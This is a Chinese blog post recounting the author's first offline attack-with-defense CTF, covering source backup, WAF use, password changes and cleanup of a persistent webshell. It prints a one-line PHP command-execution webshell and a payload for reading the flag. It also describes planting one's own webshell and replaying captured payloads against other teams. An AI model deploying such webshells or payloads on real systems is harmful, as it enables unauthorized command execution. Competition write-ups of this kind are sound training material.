2022-10-10CTF00
请注意,本文编写于 346 天前,最后修改于 346 天前,其中某些信息可能已经过时。

记第一次线下awd(PHP部分)

PHP攻击

第一次打线下awd多少还是有点紧张,早早起床就去了安洵公司。下午开始awd。原以为准备的万无一失可惜刚开打就遇到了严重的状况。

第一步当然是备份源码和数据库,可是我操作失误直接在根目录开始备份(cd /),导致备份了整个站,光备份就花了10分钟,就是这十分钟,我们的php都被打烂了。

tar -zcvf /home/ctf/bak.tar.gz /var/www/html(源码)
mysqldump -u root -p --databases xxx > /home/ctf/db.sql(数据库)

备份完源码,自然是下载下来扔进d盾里扫自带的漏洞。这时候我才发现我并不知道下载的命令。最后还是装了个FinalShell才把源码下载下来。这时候已经不知道掉了多少分了。

终于放进了d盾,扫出来几个自带的洞。

屏幕截图-2021-12-11-205224.png

而第二个直接就是一个shell.php

<?php
if($_POST[1]) {
    system($_POST['1']);
}

我们可以直接get一个?1= cat/flag直接出flag。因为之前浪费了太多时间,我们发现的时候这个基本被删的差不多了。

实力至此,找不出别的攻击手段了,最开始准备的脚本没一个能用的。

PHP防御

我主要负责防守部分,全程都在和check和不死马作斗争。

最基本的当然是用改密码和上waf。

linux用户密码修改:password
mysql数据库密码修改:
set password for root@localhost = password('chinfo');
use mysql;
update user set password=password('chinfo') where user='root';
flush privileges;

上waf用 FinalShell 直接拖进 /var/www/html 就行,但确实感觉没啥用,像是个心理安慰。

这里来一个推荐的waf

awd-watchbird https://github.com/leohearts/awd-watchbird/

然后就是把d盾扫出来的那些特别明显的后门删掉。就比如上面的shell.php。

之后可以选择全局搜索system或者eval等危险函数人工审计。

在比赛过程中,PHP被大佬找到了一个文件上传漏洞,直接给所有人传了一个删站md5不死马,也就是这个马,一直让我们被checkdown到比赛结束。

赛后问师傅知道这个马可以用以下命令杀掉

kill -9 -1 && rm webshell.php

在比赛过程中,我作为防守队员,时常需要对文件进行增删查改,这就导致我会经常遇到权限不够的情况,而我又不会提权。这时候给自己的目录传一个webshell,再用蚁剑连它就可以巧妙地解决这个问题。

最后就是流量监控。我们也是用这种方式利用别人打我们的站的payload反打,这个比用自带的后门捡漏要来的有效得多。

本文作者:Ch1nfo

本文链接:

版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!